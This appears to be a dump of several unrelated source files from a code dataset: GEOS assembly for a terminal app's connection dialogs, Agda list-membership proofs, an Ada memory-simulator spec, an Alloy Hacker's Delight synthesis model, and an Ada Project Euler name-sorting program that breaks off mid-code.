it is grayed out. REVISION HISTORY: Name Date Description ---- ---- ----------- CEY 8/26/96 Initial version eyeh 9/27/96 Discards old AccessPoint info in buffer and loads in new info corresponding to current selection. eyeh 2/5/97 add support for acc pt refs for IAPL records %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ TTermSetAccessPoint method dynamic TermClass, MSG_TERM_SET_ACCESS_POINT mov es:[CurrentAccessPoint], cx ; store selection mov ax, es:[AccessPointDsToken] call DataStoreDiscardRecord ; the only permissible error ; here is to try to discard ; an empty buffer (ignored). jnc continue_set_access_point cmp ax, DSDE_RECORD_BUFFER_EMPTY je continue_set_access_point ERROR ERROR_DS_DISCARD_RECORD_SET_ACCESS_POINT ; error continue_set_access_point: mov ax, es:[AccessPointDsToken] clr dx ; GenDynamicLists apparently ; cannot handle doubleword ; sized # of entries. call DataStoreLoadRecordNum ; Commit access point to ; record buffer. From now ; on this cannot be changed ; until a cancel or commit. EC < ERROR_C ERROR_LOAD_RECORD_SET_ACCESS_POINT > ; store record ID call SetIAPLAccPtRef call UpdateNetworkElementFields ; update all fields related ; to access points in dialog ; 3.5 (this is where this is ; being called from). call GetTerminalInfoAccPt ; get access point information call SetNetEltDelete ; see if record is user created or ; not. If so, then it can be ; deleted (enable button). mov ax, es:[AccessPointDsToken] call DataStoreDiscardRecord ; dispose of record EC < ERROR_C ERROR_DS_DISCARD_RECORD_SET_ACCESS_POINT > mov es:[NewAccPtRecordFlag], INVALID ; set false, since ; an existing ; access point has ; been chosen. exit_set_acc_pt: ret TTermSetAccessPoint endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% TTermSaveAccessPoint %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: commits changes to access point and IAPL datastores CALLED BY: MSG_TERM_SAVE_ACCESS_POINT PASS: *ds:si = TermClass object ds:di = TermClass instance data ds:bx = TermClass object (same as *ds:si) es = segment of TermClass ax = message # RETURN: none DESTROYED: none SIDE EFFECTS: PSEUDO CODE/STRATEGY: calls appropriate routines for saving access point info. Then calls up the Connection Setting dialog REVISION HISTORY: Name Date Description ---- ---- ----------- eyeh 9/ 5/96 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ TTermSaveAccessPoint method dynamic TermClass, MSG_TERM_SAVE_ACCESS_POINT uses bp .enter ; first check to see if user has entered a connection name or not. mov dx, es ; set up StringBuffer as target mov bp, offset StringBuffer mov bx, handle ConfirmSaveDataIAPLName mov si, offset ConfirmSaveDataIAPLName mov di, mask MF_CALL mov ax, MSG_VIS_TEXT_GET_ALL_PTR call ObjMessage tst cx ; test result jz save_access_point_name_field_error ; must have name!@ call SaveTerminalInfoAccPt ; save terminal information mov bx, segment dgroup mov es, bx ; sanity ;mov ax, es:[IAPLDsToken] ;call DataStoreGetRecordCount ; since DataStoreSaveRecord discards the IAPL and Access Point ; records from the buffer, reload both. ; reload the IAPL record. clr cx, dx mov {byte} cl, es:[CurrentIAPLSelection] mov ax, es:[IAPLDsToken] call DataStoreLoadRecordNum EC < ERROR_C ERROR_DS_LOAD_RECORD_NUM_SAVE_ACCESS_POINT > ; force IAPL list to reupdate mov ax, es:[IAPLDsToken] call DataStoreGetRecordCount EC < ERROR_C ERROR_DS_GET_RECORD_COUNT_SAVE_ACCESS_POINT > mov cx, ax ; set up # of records for next call. mov bx, handle ConnectionConfirmAccessPointName mov si, offset ConnectionConfirmAccessPointName mov di, mask MF_CALL mov ax, MSG_GEN_DYNAMIC_LIST_INITIALIZE call ObjMessage call UpdateConnectionDialog call ActivateConnectionSetting mov ax, es:[IAPLDsToken] call DataStoreDiscardRecord ; discard record EC < ERROR_C ERROR_DS_DISCARD_RECORD_SAVE_ACCESS_POINT > .leave ret save_access_point_name_field_error: ; user didn't enter a name for the IAPL connection. Bring up ; warning and return back to confirm save dialog mov bx, handle PleaseEnterconnectionNameString mov bp, offset PleaseEnterconnectionNameString call MemLock ; lock string push bx ; save handle push es ; store dgroup mov di, ax ; set segment of error string mov es, ax ; set segment (to grab actual offset) mov bp, es:[bp] ; grab actual offset ; bring up error notification dialog mov ax, CDT_QUESTION shl offset CDBF_DIALOG_TYPE or \ GIT_NOTIFICATION shl offset CDBF_INTERACTION_TYPE \ or mask CDBF_SYSTEM_MODAL ; to bring to top call TermUserStandardDialog pop es ; restore dgroup pop bx call MemUnlock ; unlock string ; we now return you to your previously viewed programming... mov bx, handle ConfirmSaveDataDialog mov si, offset ConfirmSaveDataDialog mov di, mask MF_CALL mov ax, MSG_GEN_INTERACTION_INITIATE call ObjMessage .leave ret TTermSaveAccessPoint endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SetDataByteItem %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: sets the bits for a given selection in a given data byte. CALLED BY: PASS: ax = selection # bx = code mask cx = code offset di = data byte (word offset to) RETURN: none DESTROYED: none SIDE EFFECTS: PSEUDO CODE/STRATEGY: a generic routine for setting the bits pertaining to a specific selection in a data byte. REVISION HISTORY: Name Date Description ---- ---- ----------- eyeh 9/ 5/96 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SetDataByteItem proc near uses ax,bx,cx,dx,di,bp,es .enter mov dx, segment dgroup mov es, dx mov dx, ax ; store selection into dx ; clear the old selection region of the data byte first shl bx, cl ; prepare mask not bx clr ah mov al, es:[di] and ax, bx ; mask out old selection ; prepare new selection shl dx, cl ; shift new selection over to proper offset or ax, dx ; insert new selection into PFKbyte mov es:[di], al ; store new PFkbyte .leave ret SetDataByteItem endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% TTermSetComboBox %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: CALLED BY: MSG_TERM_SET_COMBO_BOX PASS: *ds:si = TermClass object ds:di = TermClass instance data ds:bx = TermClass object (same as *ds:si) es = segment of TermClass ax = message # cx = identifier RETURN: DESTROYED: SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- eyeh 10/10/96 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ;TTermSetComboBox method dynamic TermClass, ; MSG_TERM_SET_COMBO_BOX ; uses ax, cx, dx, bp ; .enter ; mov ax, cx ; set selection ; clr ch ; set offset and mask ; mov bx, CT_COMBO_BOX_MASK ; mov cl, CT_COMBO_BOX_OFFSET ; mov di, offset CTbyte ; offset to data byte ; call SetDataByteItem ; set the item ; .leave ; ret ;TTermSetComboBox endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% TTermSetMakeCheckBox %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: CALLED BY: MSG_TERM_SET_MAKE_CHECK_BOX PASS: *ds:si = TermClass object ds:di = TermClass instance data ds:bx = TermClass object (same as *ds:si) es = segment of TermClass ax = message # RETURN: DESTROYED: SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- eyeh 10/10/96 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ TTermSetMakeCheckBox method dynamic TermClass, MSG_TERM_SET_MAKE_CHECK_BOX uses ax, cx, dx, bp .enter mov ax, cx ; set selection clr ch ; set offset and mask mov bx, BSDM_MAKE_COMBO_BOX_MASK mov cl, BSDM_MAKE_COMBO_BOX_OFFSET mov di, offset BSDMbyte ; offset to data byte call SetDataByteItem ; set the item .leave ret TTermSetMakeCheckBox endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GetTerminalSettings %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Sets databytes based on protocolbox ui selections CALLED BY: PASS: RETURN: DESTROYED: SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- eyeh 10/23/96 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GetTerminalSettings proc near uses ax,bx,cx,dx,si,di,bp .enter ; set baud mov bx, handle BaudList mov si, offset BaudList mov di, mask MF_CALL mov ax, MSG_GEN_ITEM_GROUP_GET_SELECTION call ObjMessage mov di, offset baudIdentifierTable mov cx, ax call GetOrdinalityFromTable mov ax, cx ; set selection clr ch ; set offset and mask mov bx, BSDM_BAUD_RATE_MASK mov cl, BSDM_BAUD_RATE_OFFSET mov di, offset BSDMbyte ; offset to data byte call SetDataByteItem ; set the item ; set stop bit mov bx, handle StopList mov si, offset StopList mov di, mask MF_CALL mov ax, MSG_GEN_ITEM_GROUP_GET_SELECTION call ObjMessage mov di, offset stopBitsIdentifierTable mov cx, ax call GetOrdinalityFromTable mov ax, cx ; set selection clr ch ; set offset and mask mov bx, BSDM_STOP_BIT_MASK mov cl, BSDM_STOP_BIT_OFFSET mov di, offset BSDMbyte ; offset to data byte call SetDataByteItem ; set the item ; set data bit mov bx, handle DataList mov si, offset DataList mov di, mask MF_CALL mov ax, MSG_GEN_ITEM_GROUP_GET_SELECTION call ObjMessage mov di, offset dataBitsIdentifierTable mov cx, ax call GetOrdinalityFromTable mov ax, cx ; set selection clr ch ; set offset and mask mov bx, BSDM_DATA_BIT_MASK mov cl, BSDM_DATA_BIT_OFFSET mov di, offset BSDMbyte ; offset to data byte call SetDataByteItem ; set the item ; set parity bit mov bx, handle ParityList mov si, offset ParityList mov di, mask MF_CALL mov ax, MSG_GEN_ITEM_GROUP_GET_SELECTION call ObjMessage mov di, offset parityBitsIdentifierTable mov cx, ax call GetOrdinalityFromTable mov ax, cx ; set selection clr ch ; set offset and mask mov bx, PFK_PARITY_BIT_MASK mov cl, PFK_PARITY_BIT_OFFSET mov di, offset PFKbyte ; offset to data byte call SetDataByteItem ; set the item ; set flow bit mov bx, handle FlowList mov si, offset FlowList mov di, mask MF_CALL mov ax, MSG_GEN_BOOLEAN_GROUP_GET_SELECTED_BOOLEANS call ObjMessage ; mov dx, ax ; store result in dx ; mov cx, dx ; store copy in cx ; clr ax ; default = none (0) ; see if it noen is selected. If so, then go on, since this ; excludes the others from being selected. ; cmp dx, mask FFB_NONE ; jnz check_rest_flow ; jmp set_pfk_byte_flow_bits ; none selected, go directly to set ; databyte. ;check_rest_flow: ; and dx, mask SFC_HARDWARE ; jz check_soft_flow ; or ax, PFK_FLOW_CONTROL_HARDWARE ;check_soft_flow: ; and cx, mask SFC_SOFTWARE ; jz set_pfk_byte_flow_bits ; or ax, PFK_FLOW_CONTROL_SOFTWARE ; set offset and mask set_pfk_byte_flow_bits: mov di, offset flowIdentifierTable mov cx, ax call GetOrdinalityFromTable mov ax, cx ; set selection clr ch mov bx, PFK_FLOW_CONTROL_MASK mov cl, PFK_FLOW_CONTROL_OFFSET mov di, offset PFKbyte ; offset to data byte call SetDataByteItem ; set the item ; set kanji mov bx, handle KanjiFontList mov si, offset KanjiFontList mov di, mask MF_CALL mov ax, MSG_GEN_ITEM_GROUP_GET_SELECTION call ObjMessage mov di, offset kanjiFontIdentifierTable mov cx, ax call GetOrdinalityFromTable mov ax, cx ; set selection clr ch ; set offset and mask mov bx, PFK_KANJI_CODE_MASK mov cl, PFK_KANJI_CODE_OFFSET mov di, offset PFKbyte ; offset to data byte call SetDataByteItem ; set the item ; set combo (history method) box ; mov bx, handle ComboBoxList ; mov si, offset ComboBoxList ; mov di, mask MF_CALL ; mov ax, MSG_GEN_ITEM_GROUP_GET_SELECTION ; call ObjMessage ; mov ax, cx ; set selection ; clr ch ; ; set offset and mask ; mov bx, CT_COMBO_BOX_MASK ; mov cl, CT_COMBO_BOX_OFFSET ; mov di, offset CTbyte ; offset to data byte ; call SetDataByteItem ; set the item ; set terminal mov bx, handle TerminalList mov si, offset TerminalList mov di, mask MF_CALL mov ax, MSG_GEN_ITEM_GROUP_GET_SELECTION call ObjMessage mov di, offset terminalTypeIdentifierTable mov cx, ax call GetOrdinalityFromTable mov ax, cx ; set selection clr ch ; set offset and mask mov bx, CT_TERMINAL_MASK mov cl, CT_TERMINAL_OFFSET mov di, offset CTbyte ; offset to data byte call SetDataByteItem ; set the item .leave ret GetTerminalSettings endp if _SCRIPT_VARIABLE ; ---------------------------------------------------------------------- ; Variable Query Handler ; ---------------------------------------------------------------------- COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GetVariable %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: given the variable text, returns pointer to text that should be outputted in its place. CALLED BY: DoSend PASS: cx:dx = pointer to variable indicator string (past first '$') bp = length of string (characters) RETURN: - proper variable cx:dx = string to output bp = length of this string (characters) - improper variable cx:dx = trashed bp = 0 DESTROYED: see above SIDE EFFECTS: PSEUDO CODE/STRATEGY: Since there are only 3 possible "personalized" items to send out (ID, password, phone #), only the first character needs to be recognized. The ID is indicated in Network by $ID$, password by $PASSWORD$, and telephone number by $TELEPHONE$ Since connection occurs from Connection Confirm dialog (3.2), grab ID and password text from that dialog's gentext fields. REVISION HISTORY: Name Date Description ---- ---- ----------- eyeh 10/17/96 Initial version eyeh 10/28/96 put into scriptLocal and made into proc call %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GetVariable proc far uses ax, bx, di, es, ds .enter mov bx, segment dgroup mov es, bx call ClearStringBuffer ; use StringBuffer as target. ; check to see if ID LocalLoadChar ax, ID_VAR_STRING_FIRST_CHAR mov ds, cx ; set up pointer to variable string mov di, dx SBCS < cmp ds:[di], al > DBCS < cmp ds:[di], ax > jne check_password_get_var ; is ID, now output it. mov si, offset ConnectionConfirmNetworkID jmp get_variable_get_var check_password_get_var: ; check to see if PASSWORD LocalLoadChar ax, PASSWORD_VAR_STRING_FIRST_CHAR SBCS < cmp ds:[di], al > DBCS < cmp ds:[di], ax > jne check_telephone_num_get_var ; is password, now output it. mov cx, es ; set target segment mov dx, offset NetworkPassword mov bp, es:[NetworkPasswordLength] jmp exit_get_var ; no need to call ObjMessage check_telephone_num_get_var: ; check to see if TELEPHONE LocalLoadChar ax, TELEPHONE_NUM_VAR_STRING_FIRST_CHAR SBCS < cmp ds:[di], al > DBCS < cmp ds:[di], ax > jne not_var_declared_get_var ; is Telephone#, now output it. mov si, offset ConnectionConfirmTelephoneNumber get_variable_get_var: ; call to get the string mov dx, segment dgroup mov bp, offset StringBuffer mov bx, handle ConnectionConfirmDialog ; all info in same ; segment mov di, mask MF_CALL mov ax, MSG_VIS_TEXT_GET_ALL_PTR call ObjMessage mov ax, cx ; store length of string (characters) in ax ; now set up return vars mov cx, es mov dx, bp ; offset to StringBuffer mov bp, ax ; set length exit_get_var: .leave ret not_var_declared_get_var: clr bp ; no string jmp exit_get_var GetVariable endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GetDialVariable %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Given pointer to identifier string, matches it with string to send out (usually telephone number). CALLED BY: DoDial (in scriptLocal.asm) PASS: ds - dgroup dx:bp - pointer to variable name RETURN: es:di - pointer to string to return cx - length of string (chars) DESTROYED: none SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- eyeh 11/ 4/96 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GetDialVariable proc far uses ax,bx,dx,si,bp .enter ; should probably do a variable check here, but since there is only ; one thing the user would want (in Network) from using a variable ; in the dial command is the current telephone number, well, return ; the telephone number. It's probably cleaner to do a check and ; all, but hey, path of least resistance. ; set up StringBuffer as target mov dx, ds mov bp, offset StringBuffer ; grab telephone number from connection box ui mov bx, handle ConnectionConfirmTelephoneNumber mov si, offset ConnectionConfirmTelephoneNumber mov di, mask MF_CALL mov ax, MSG_VIS_TEXT_GET_ALL_PTR call ObjMessage ; point esdi to returned string (in StringBuffer) mov es, dx mov di, bp .leave ret GetDialVariable endp endif ; SCRIPT_VARIABLE ;-------------------------------------------------------------------------------- ; DUD, REMOVE WHEN FINISHED ;-------------------------------------------------------------------------------- COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% TTermWriteFileContents %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: CALLED BY: MSG_TERM_WRITE_FILE_CONTENTS PASS: *ds:si = TermClass object ds:di = TermClass instance data ds:bx = TermClass object (same as *ds:si) es = segment of TermClass ax = message # RETURN: DESTROYED: SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- eyeh 11/11/96 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ;captureFileName wchar "capture.txt",0 ;TTermWriteFileContents method dynamic TermClass, ; MSG_TERM_WRITE_FILE_CONTENTS ; uses ax, cx, dx, bp ; fileHandle local word ; .enter ; -------------------------------------------------- ; Open the capture.txt file ; -------------------------------------------------- ; mov ax, SP_DOCUMENT ; call FileSetStandardPath ; mov al, (mask FFAF_RAW) or FILE_ACCESS_R or FILE_DENY_NONE ; segmov ds, cs, bx ; mov dx, offset captureFileName ; call FileOpen ; mov fileHandle, ax ; -------------------------------------------------- ; read bytes and transfer to StringBuffer ; -------------------------------------------------- ; call ClearStringBuffer ; clr al ; clear flags ; mov bx, fileHandle ; mov cx, 12 ; segmov ds, es, dx ; mov dx, offset StringBuffer ; call FileRead ; -------------------------------------------------- ; Send buffer contents to screen ; -------------------------------------------------- ; mov si, offset StringBuffer ;; call BufferedSendBuffer ; call SendBuffer ; -------------------------------------------------- ; Finished, close file ; -------------------------------------------------- ; clr al ; mov bx, fileHandle ; call FileClose ; .leave ; ret ;TTermWriteFileContents endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% TTermCheckLogHistory %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: CALLED BY: MSG_TERM_CHECK_LOG_HISTORY PASS: *ds:si = TermClass object ds:di = TermClass instance data ds:bx = TermClass object (same as *ds:si) es = segment of TermClass ax = message # RETURN: DESTROYED: SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- eyeh 12/ 9/96 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ TTermCheckLogHistory method dynamic TermClass, MSG_TERM_CHECK_LOG_HISTORY .enter cmp ds:[LogHistoryFlag], VALID jne finish_history_check begin_log_history: ; begin log history mov ax, MSG_ASCII_RECV_START mov bx, ds:[termProcHandle] mov di, mask MF_FORCE_QUEUE call ObjMessage finish_history_check: .leave ret TTermCheckLogHistory endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% TToggleKbd %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: CALLED BY: MSG_TERM_TOGGLE_KBD PASS: *ds:si = TermClass object ds:di = TermClass instance data ds:bx = TermClass object (same as *ds:si) es = segment of TermClass ax = message # RETURN: DESTROYED: SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- eyeh 12/11/96 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ TToggleKbd method dynamic TermClass, MSG_TERM_TOGGLE_KBD .enter cmp es:[KBDToggleFlag], KBD_ON je switch_keyboard_off switch_keyboard_on: mov dx, DOVE_REDUCED_ROW_COUNT mov cx, KBD_ON jmp continue_toggle_kbd switch_keyboard_off: mov dx, DOVE_ROW_COUNT mov cx, KBD_OFF jmp continue_toggle_kbd continue_toggle_kbd: mov es:[KBDToggleFlag], cl mov bx, handle screenObject mov si, offset screenObject mov di, mask MF_CALL mov ax, MSG_SCR_SET_WIN_LINES call ObjMessage mov bx, handle TermPrimary mov si, offset TermPrimary mov ax, MSG_GEN_TOGGLE_FLOATING_KBD mov di, mask MF_CALL call ObjMessage .leave ret TToggleKbd endm
data/github.com/scmu/foundations-harper/63f170677b07f78ce19cee228e98fc9abbdb19e7/08.LNumStr->/Membership.agda
ajnavarro/language-dataset
9
15063
module Membership where open import Data.Sum open import Data.List open import Relation.Nullary open import Relation.Binary.PropositionalEquality open import Data.List.Any as Any open Any.Membership-≡ -- _∈_ ∈-++-pos : ∀ {A : Set} {x : A} xs ys → x ∈ xs ++ ys → (x ∈ xs) ⊎ (x ∈ ys) ∈-++-pos [] ys x∈ = inj₂ x∈ ∈-++-pos (x ∷ xs) ys (here refl) = inj₁ (here refl) ∈-++-pos (x ∷ xs) ys (there x∈) with ∈-++-pos xs ys x∈ ... | inj₁ x∈xs = inj₁ (there x∈xs) ... | inj₂ x∈ys = inj₂ x∈ys ∈-++-r : ∀ {A : Set} {x : A} xs {ys} → x ∈ ys → x ∈ (xs ++ ys) ∈-++-r [] x∈ = x∈ ∈-++-r (y ∷ xs) x∈ = there (∈-++-r xs x∈) ∈-++-l : ∀ {A : Set} {x : A} {xs} ys → x ∈ xs → x ∈ (xs ++ ys) ∈-++-l ys (here refl) = here refl ∈-++-l ys (there x∈) = there (∈-++-l ys x∈) ∈-++-weaken : ∀ {A : Set} {x : A} xs ys zs → x ∈ (xs ++ zs) → x ∈ (xs ++ ys ++ zs) ∈-++-weaken [] ys zs x∈ = ∈-++-r ys x∈ ∈-++-weaken (x ∷ xs) ys zs (here refl) = here refl ∈-++-weaken (_ ∷ xs) ys zs (there x∈) = there (∈-++-weaken xs ys zs x∈) -- _∉_ ∉-++-l : ∀ {A : Set} {x : A} xs ys → x ∉ xs ++ ys → x ∉ xs ∉-++-l ._ ys x∉xs++ys (here eq) = x∉xs++ys (here eq) ∉-++-l .(x' ∷ xs) ys x∉xs++ys (there {x'} {xs} pxs) = ∉-++-l xs ys (λ p → x∉xs++ys (there p)) pxs ∉-++-r : ∀ {A : Set} {x : A} xs ys → x ∉ xs ++ ys → x ∉ ys ∉-++-r [] ys x∉xs++ys x∈ys = x∉xs++ys x∈ys ∉-++-r (x' ∷ xs) ys x∉xs++ys x∈ys = ∉-++-r xs ys (λ p → x∉xs++ys (there p)) x∈ys postulate ∉-∷ : ∀ {A : Set} {y x : A} {xs} → ¬ (y ≡ x) → y ∉ xs → y ∉ (x ∷ xs) ∉-++-join : ∀ {A : Set} {x : A} → ∀ xs ys → x ∉ xs → x ∉ ys → x ∉ xs ++ ys ∉-++-join [] ys x∉xs x∉ys x∈ys = x∉ys x∈ys ∉-++-join (_ ∷ xs) ys x∉xs x∉ys (here refl) = x∉xs (here refl) ∉-++-join (_ ∷ xs) ys x∉xxs x∉ys (there pxs) = ∉-++-join xs ys (λ x∉xs → x∉xxs (there x∉xs)) x∉ys pxs ∉-++-weaken : ∀ {A : Set} {x : A} xs ys zs → x ∉ (xs ++ ys ++ zs) → x ∉ (xs ++ zs) ∉-++-weaken xs ys zs x∉xyz x∈xz = x∉xyz (∈-++-weaken xs ys zs x∈xz) ∉-∷-hd : ∀ {A : Set} {x y : A} xs → x ∉ (y ∷ xs) → ¬ (x ≡ y) ∉-∷-hd {x} {._} xs x∉ refl = x∉ (here refl) ∉-∷-tl : ∀ {A : Set} {x y : A} xs → x ∉ (y ∷ xs) → x ∉ xs ∉-∷-tl {x} {y} xs x∉ x∈ = x∉ (there x∈)
memsim-master/src/memory-dup.ads
strenkml/EE368
0
14898
<filename>memsim-master/src/memory-dup.ads package Memory.Dup is type Dup_Type is new Memory_Type with private; type Dup_Pointer is access all Dup_Type'Class; function Create_Dup return Dup_Pointer; overriding function Clone(mem : Dup_Type) return Memory_Pointer; procedure Add_Memory(mem : in out Dup_Type; other : access Memory_Type'Class); overriding procedure Reset(mem : in out Dup_Type; context : in Natural); overriding procedure Read(mem : in out Dup_Type; address : in Address_Type; size : in Positive); overriding procedure Write(mem : in out Dup_Type; address : in Address_Type; size : in Positive); overriding procedure Idle(mem : in out Dup_Type; cycles : in Time_Type); overriding procedure Show_Stats(mem : in out Dup_Type); overriding function To_String(mem : Dup_Type) return Unbounded_String; overriding function Get_Cost(mem : Dup_Type) return Cost_Type; overriding function Get_Writes(mem : Dup_Type) return Long_Integer; overriding function Get_Word_Size(mem : Dup_Type) return Positive; overriding procedure Generate(mem : in Dup_Type; sigs : in out Unbounded_String; code : in out Unbounded_String); overriding function Get_Ports(mem : Dup_Type) return Port_Vector_Type; overriding procedure Adjust(mem : in out Dup_Type); overriding procedure Finalize(mem : in out Dup_Type); private package Memory_Vectors is new Vectors(Natural, Memory_Pointer); type Dup_Type is new Memory_Type with record memories : Memory_Vectors.Vector; end record; end Memory.Dup;
models/hol/sygus/hackers_del/hd_15.als
johnwickerson/alloystar
2
1484
<reponame>johnwickerson/alloystar /** * NOTE: make sure to set "Options -> Prevent overflows" to "No" * * ceil of average of two integers */ module hd_15 open hdXY[hd15] one sig Lit1 extends IntLit {} fact { IntLit<:val = Lit1->1 } -------------------------------------------------------------------------------- -- Helpers -------------------------------------------------------------------------------- fun hd15[x, y: Int]: Int { bvsub[bvor[x, y], bvshr[bvxor[x, y], 1]] } -------------------------------------------------------------------------------- -- Commands -------------------------------------------------------------------------------- -- (https://github.com/rishabhs/sygus-comp14/blob/master/benchmarks/hackers_del/hd-15-d0-prog.sl) run synthIntNodeI for 0 but 5 Int, 5 IntVarVal, exactly 1 BvXor, exactly 1 BvShr, exactly 1 BvOr, exactly 1 BvSub -- (https://github.com/rishabhs/sygus-comp14/blob/master/benchmarks/hackers_del/hd-15-d1-prog.sl) run synthIntNodeI for 0 but 4 Int, 4 IntVarVal, exactly 1 BvAdd, exactly 1 BvSub, exactly 1 BvNot, exactly 1 BvNeg, exactly 1 BvAnd, exactly 1 BvOr, exactly 1 BvXor, exactly 1 BvShr, exactly 1 BvSha -- (https://github.com/rishabhs/sygus-comp14/blob/master/benchmarks/hackers_del/hd-15-d5-prog.sl) run synthIntNodeI for 0 but 4 Int, 4 IntVarVal, exactly 3 BinaryIntOp, exactly 2 UnaryIntOp
problems/022/a022.adb
melwyncarlo/ProjectEuler
0
24485
with Ada.Text_IO; with Ada.Strings.Fixed; with Ada.Characters.Handling; with Ada.Long_Integer_Text_IO; -- Copyright 2021 <NAME> procedure A022 is use Ada.Text_IO; use Ada.Strings.Fixed; use Ada.Long_Integer_Text_IO; FT : File_Type; Ch : Character; Name_Val : String (1 .. 50) := 50 * ' '; Names_List : array (Integer range 1 .. 5500) of String (1 .. 50) := (others => 50 * ' '); File_Name : constant String := "problems/022/p022_names.txt"; Is_Incremented : Boolean := False; Count_Val : Integer := 1; Index_Val : Integer := 1; Alpha_Val, Str_Len : Integer; N : Long_Integer; begin Open (FT, In_File, File_Name); Get (FT, Ch); while not End_Of_File (FT) loop Get (FT, Ch); if Ada.Characters.Handling.Is_Letter (Ch) then Is_Incremented := False; Name_Val (Index_Val) := Ch; Index_Val := Index_Val + 1; else if not Is_Incremented then Index_Val := 1; Is_Incremented := True; Names_List (Count_Val) := Name_Val; Count_Val := Count_Val + 1; Name_Val := 50 * ' '; end if; end if; end loop; Close (FT); Count_Val := Count_Val - 1; for I in 1 .. (Count_Val - 1) loop for J in (I + 1) .. Count_Val loop if Names_List (I) > Names_List (J) then Name_Val := 50 * ' '; Name_Val := Names_List (I); Names_List (I) := Names_List (J); Names_List (J) := Name_Val; end if; end loop; end loop; N := 0; 